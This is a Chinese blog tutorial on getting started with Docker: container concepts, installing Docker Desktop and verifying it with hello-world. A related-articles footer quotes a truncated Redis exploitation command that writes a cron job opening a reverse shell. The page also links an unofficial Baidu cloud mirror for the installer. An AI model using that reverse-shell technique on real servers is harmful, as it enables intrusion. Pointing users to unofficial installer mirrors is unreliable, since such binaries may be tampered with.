Docker 快速入门(一)- 情况介绍和安装
欢迎您! 很高兴您想学习 Docker 。
这个页面包含了如何开始使用 Docker 的循序渐进的说明。
Docker 快速入门培训模块教你如何:
- 设置 Docker 环境(在本页)
- 构建并运行您的镜像
- 在 Docker Hub 上共享镜像
Docker 概念
Docker 是一个供开发人员和系统管理员构建、运行和与容器共享应用程序的平台。使用容器部署应用程序称为容器化。容器并不是新事物,但它们用于轻松部署应用程序却是新鲜的。
容器化越来越受欢迎,归因于容器有以下优点:
- 灵活性:即使是最复杂的应用程序也可以容器化。
- 轻量级:容器利用并共享主机内核,使它们在系统资源方面比虚拟机更有效率。
- 可移植:您可以在本地构建,部署到云上,并在任何地方运行。
- 松耦合:容器是高度自给自足和封装的,允许您在不影响其他容器的情况下替换或升级其中一个。
- 可扩展:您可以跨数据中心增加和自动分发容器副本。
- 安全性:容器对进程应用主动约束和隔离,而不需要用户进行任何配置。
镜像和容器
从根本上讲,容器不过是一个正在运行的进程,对其应用了一些附加的封装特性,以便将它与主机和其他容器隔离开来。容器隔离的一个最重要的方面是,每个容器与自己的私有文件系统交互;这个文件系统由 Docker 镜像提供。镜像包含运行应用程序所需的所有内容——代码或二进制文件、运行时、依赖项以及所需的任何其他文件系统对象。
容器和虚拟机
容器在 Linux 上本机运行,并与其他容器共享主机的内核。 它运行一个离散进程,占用的内存不比任何其他可执行文件多,从而使其轻巧。相比之下,虚拟机(VM)运行成熟的“来宾”操作系统,通过管理程序虚拟访问主机资源。一般而言,虚拟机会产生比应用程序逻辑本身所消耗资源更多的开销。
| 容器 | 虚拟机 |
|---|---|
![]() |
![]() |
设置 Docker 环境
下载并安装 Docker Desktop
Docker Desktop 是一款适用于 Mac 或 Windows 环境的易于安装的应用程序,使您能够在几分钟内开始编码和容器化。Docker Desktop 包含了从您的机器构建、运行和共享容器化应用程序所需的一切。
按照适合您的操作系统的说明下载和安装 Docker Desktop:
Docker 官网下载 Docker Desktop for Windows 可能比较慢,可以到百度云盘下载:
链接:https://pan.baidu.com/s/1HytCMXykgvaKfNFkPAb3gA
提取码:p1ha
检验 Docker 版本
成功安装 Docker Desktop 后,打开一个终端,运行 docker --version 来检查机器上安装的 Docker 版本。
$ docker --version
Docker version 19.03.8, build afacb8b
检验 Docker 安装结果
- 通过运行 hello-world Docker 镜像测试您的安装工作:
$ docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
ca4f61b1923c: Pull complete
Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7
Status: Downloaded newer image for hello-world:latest
Hello from Docker!
This message shows that your installation appears to be working correctly.
...
- 运行
docker image ls以列出你下载到计算机的hello-world镜像。 - 列出显示其消息后退出的
hello-world容器(由镜像派生)。如果它仍在运行,则不需要--all选项:
$ docker ps --all
CONTAINER ID IMAGE COMMAND CREATED STATUS
54f4984ed6a8 hello-world "/hello" 20 seconds ago Exited (0) 19 seconds ago
结论
现在,您已经在开发机器上安装了 Docker Desktop,并运行了一个快速测试,以确保您已经为构建和运行第一个容器化应用程序进行了设置。
CLI 参考文献
有关本文中使用的所有CLI命令的进一步文档,请参阅以下主题:
Docker 快速入门(一)- 情况介绍和安装的更多相关文章
- Docker快速入门(二)
上篇文章<Docker快速入门(一)>介绍了docker的基本概念和image的相关操作,本篇将进一步介绍image,容器和Dockerfile. 1 image文件 (1)Docker ...
- 【干货合集】Docker快速入门与进阶
收录待用,修改转载已取得腾讯云授权 Docker 在众多技术中,绝对是当红炸子鸡.这年头,如果你不懂一点容器,不学一些Docker,还怎么出去跟人炫耀技术? Docker 也是云计算技术中较为热门的一 ...
- Docker快速入门
Docker已经火了很长一段时间,最近打算在阿里云上好好熟悉一下Docker的相关应用,为今后的工作做准备. 基本概念 Docker是基于Go语言实现的云开源项目,诞生于2013年初,最初发起者是do ...
- OpenStack云计算快速入门之二:OpenStack安装与配置
原文:http://blog.chinaunix.net/uid-22414998-id-3265685.html OpenStack云计算----快速入门(2) 该教程基于Ubuntu12.04版, ...
- Docker 快速入门教程
本文目的是给几乎从未接触过docker,或者仅仅是听说或者通过新闻了解过Docker的同学 通过一个已有的Docker仓库构建和提交自己的Docker 镜像 这里会涉及到一些概念,但是不单独介绍 这里 ...
- Netsharp快速入门(之1) 介绍及需求说明
作者:秋时 杨昶 时间:2014-02-15 转载须说明出处 第一章 快速入门介绍 Netsharp是一个企业基础业务管理平台,介绍Netsharp分三个系列,分别是: 1. N ...
- docker快速入门01——docker安装与简单应用
1.docker简介 Docker 是一个开源的应用容器引擎,Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级.可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化 ...
- 全面的Docker快速入门教程
前言: 都2021年了,你还在为了安装一个开发或者部署环境.软件而花费半天的时间吗?你还在解决开发环境能够正常访问,而发布测试环境无法正常访问的问题吗?你还在为持续集成和持续交付(CI / CD)工作 ...
- 进击的docker 二 : docker 快速入门
1.安装docker 1.1.安装环境 [root@docker ~]# cat /etc/redhat-release CentOS Linux release (Core) [root@docke ...
随机推荐
- redis未授权漏洞和主从复制rce漏洞利用
未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...
- vue-cli4 + TS构建新项目
1. 如果你之前没有安装vue-cli,可以通过如下命令进行安装: npm install -g @vue/cli yarn global add @vue/cli 2. 创建vue项目 vue cr ...
- HashMap1.7和1.8,红黑树原理!
jdk 1.7 概述 HashMap基于Map接口实现,元素以键值对的方式存储,并允许使用null键和null值,但只能有一个键作为null,因为key不允许重复,另外HashMap不能保证放入元素的 ...
- JAVASE(十六) IO流 :File类、节点流、缓冲流、转换流、编码集、对象流
个人博客网:https://wushaopei.github.io/ (你想要这里多有) 1.File类型 1.1.File类的理解 File类是在java.io包下 File可以理解成一个文件 ...
- Java并发编程 (七) J.U.C之AQS
个人博客网:https://wushaopei.github.io/ (你想要这里多有) 一. J.U.C之AQS-介绍 1.定义: AbstractQueuedSynchronizer简称AQ ...
- Java实现 LeetCode 335 路径交叉
335. 路径交叉 给定一个含有 n 个正数的数组 x.从点 (0,0) 开始,先向北移动 x[0] 米,然后向西移动 x[1] 米,向南移动 x[2] 米,向东移动 x[3] 米,持续移动.也就是说 ...
- Java实现 LeetCode 77 组合
77. 组合 给定两个整数 n 和 k,返回 1 - n 中所有可能的 k 个数的组合. 示例: 输入: n = 4, k = 2 输出: [ [2,4], [3,4], [2,3], [1,2], ...
- 第四届蓝桥杯JavaB组国(决)赛真题
解题代码部分来自网友,如果有不对的地方,欢迎各位大佬评论 题目1.猜灯谜 题目描述 A 村的元宵节灯会上有一迷题: 请猜谜 * 请猜谜 = 请边赏灯边猜 小明想,一定是每个汉字代表一个数字,不同的汉字 ...
- python3 驱动自动安装脚本
from pywinauto.application import Applicationimport osimport timeos.system('start C:/Users/Administr ...
- .Net Core 配置之long类型 前端精度丢失和时间格式设置
在很多项目中,都采用的前后端分离的方式进行开发,经常遇到后台的long精度的数据到前端丢失不准确,显示效果为long类型(19位)的后几位为000,此时需要对long的字段进行设置,改变默认的返回类型 ...

